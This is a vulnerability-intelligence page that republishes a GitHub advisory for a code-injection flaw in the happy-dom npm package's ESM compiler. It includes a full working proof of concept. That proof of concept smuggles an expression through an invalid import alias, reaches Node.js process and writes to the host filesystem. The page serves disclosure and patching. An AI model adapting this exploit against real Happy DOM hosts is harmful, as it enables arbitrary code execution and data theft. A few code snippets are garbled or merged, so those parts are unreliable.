KEVWire

Security intelligence, with context.

Response snapshot Oct 26, 2026, 22:06 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-115895

Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution

The ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript. As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.

At a glance

Exploited
Not known
Severity
8.8 High (CVSS 3.1)
Chance of exploitation
0.4% in the next 30 days
Sources
2 independent sources

What to do

GitHub lists first patched versions: happy-dom: 21.0.4. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-834v-8h66-3h79 (opens a new tab)

What happened

## Summary

The ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript.

As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.

This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates `importName` in the local `export { ... }` handler, but the named import handler still places an unvalidated `alias` directly into code context.

Continue reading

These issues were confirmed through the public `Window` and ` ` APIs using the published `happy-dom` npm package. The PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a proof directory on the host filesystem.

## Confirmed affected versions

The PoC was directly tested against:

- `happy-dom@17.0.0` - `happy-dom@20.0.0` - `happy-dom@20.1.0` - `happy-dom@20.14.5`

The same PoC does not trigger on `happy-dom@16.8.1`.

The ESM compiler was introduced by commit `7bc831df2`, first released in `v17.0.0`. The vulnerable interpolation remains present through `v20.14.5`, the latest release at the time of testing.

Suggested affected range:

```text >= 17.0.0, property.alias ? `"${property.name}": ${property.alias}` : property.name ) .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`; ```

Consider the following source:

```js import { missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } from './dep.json' with { type: 'json' }; ```

This is invalid ECMAScript module syntax. Node.js rejects it at the `=` token.

Happy DOM instead transforms it into the equivalent of:

```js let { "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } = $happy_dom.imports.get('https://poc.local/dep.json'); ```

This generated JavaScript is valid. Because the imported JSON object does not contain a `missing` property, the default initializer executes.

The `with { type: 'json' }` attribute is relevant because the compiler only generates its circular import resolver for ESM imports:

```ts if (!match[7] || match[7] === 'esm') { resolvableCircularImports.push({ url, properties }); } ```

Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.

Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:

```js globalThis.constructor.constructor(`return process`)() .getBuiltinModule(`node:fs`) .mkdirSync( globalThis.constructor.constructor(`return process`)().cwd() + `/HAPPY_DOM_RCE_PROOF` ) ```

## Proof of concept

The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named `HAPPY_DOM_RCE_PROOF`.

### 1. Create `package.json`

```json { "name": "happy-dom-import-alias-rce-poc", "private": true, "type": "module", "dependencies": { "happy-dom": "20.14.5" } } ```

### 2. Create `dep.json`

```json {} ```

### 3. Create `payload.mjs`

This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:

```js import { missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } from './dep.json' with { type: 'json' }; ```

### 4. Create `poc.mjs`

```js import { Window } from 'happy-dom'; import { existsSync, rmSync } from 'node:fs'; import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF'); rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({ url: 'https://poc.local/', settings: { enableJavaScriptEvaluation: true, suppressCodeGenerationFromStringsWarning: true, fetch: { virtualServers: [ { url: 'https://poc.local/', directory: process.cwd() } ] } } });

const script = window.document.createElement('script'); script.type = 'module';

script.textContent = ` import { missing as injected = globalThis.constructor.constructor(\`return process\`)() .getBuiltinModule(\`node:fs\`) .mkdirSync( globalThis.constructor.constructor(\`return process\`)().cwd() + \`/HAPPY_DOM_RCE_PROOF\` ) } from './dep.json' with { type: 'json' }; `;

window.document.body.appendChild(script); await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) { console.error('[-] Exploit failed: proof directory was not created.'); console.error( window.happyDOM.virtualConsolePrinter.readAsString() ); process.exitCode = 1; } else { console.log(`[+] Host filesystem reached: ${proofDirectory}`); }

await window.happyDOM.close(); ```

### 5. Run the control test

```console npm install node --check payload.mjs ```

Expected result:

```text SyntaxError: Unexpected token '=' ```

This confirms that the source is not valid ESM.

### 6. Run the Happy DOM PoC

```console node poc.mjs ```

Expected result:

```text [+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF ```

The existence of `HAPPY_DOM_RCE_PROOF` confirms that the expression injected through the import alias executed and reached the host filesystem.

The PoC was also verified inside a `node:24-alpine` Docker container, where it created:

```text /poc/HAPPY_DOM_RCE_PROOF ```

## Impact

An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.

This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.

The demonstrated payload reaches Node.js `process` and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.

## Relationship to CVE-2026-33943

CVE-2026-33943 covers expression injection through a local export declaration:

```js export { attacker_expression } ```

Its fix

Affected package ranges reported by GitHub: happy-dom: >= 17.0.0, <= 21.0.3

Scores and how they were measured

CVSS base severity

8.8

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.4%

Scored Percentile 30.3%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-834v-8h66-3h79 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-834v-8h66-3h79, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    NVD CVE-2026-115895 (opens a new tab)

    NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation.

    Published Checked

  4. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  5. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  6. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  7. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  8. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-115895, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 26). Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution (CVE-2026-115895). https://kevwire.com/record/CVE-2026-115895

MLA

"Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution (CVE-2026-115895)." KEVWire, 26 Oct. 2026, kevwire.com/record/CVE-2026-115895.

Chicago

KEVWire. "Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution (CVE-2026-115895)." Last modified October 26, 2026. https://kevwire.com/record/CVE-2026-115895.

Evidence summary (plain text)

Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution (Oct 23, 2026).
The ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript.

As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115895).
EPSS 0.4% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115895&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-834v-8h66-3h79: https://github.com/advisories/GHSA-834v-8h66-3h79
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-115895: https://nvd.nist.gov/vuln/detail/CVE-2026-115895
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T18:27:03.991Z&lastModEndDate=2026-10-26T20:00:55.952Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T17:56:10.576Z&lastModEndDate=2026-10-26T19:25:57.867Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T17:21:53.012Z&lastModEndDate=2026-10-26T18:55:55.651Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115895&date=2026-10-26
Record ID: CVE-2026-115895.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail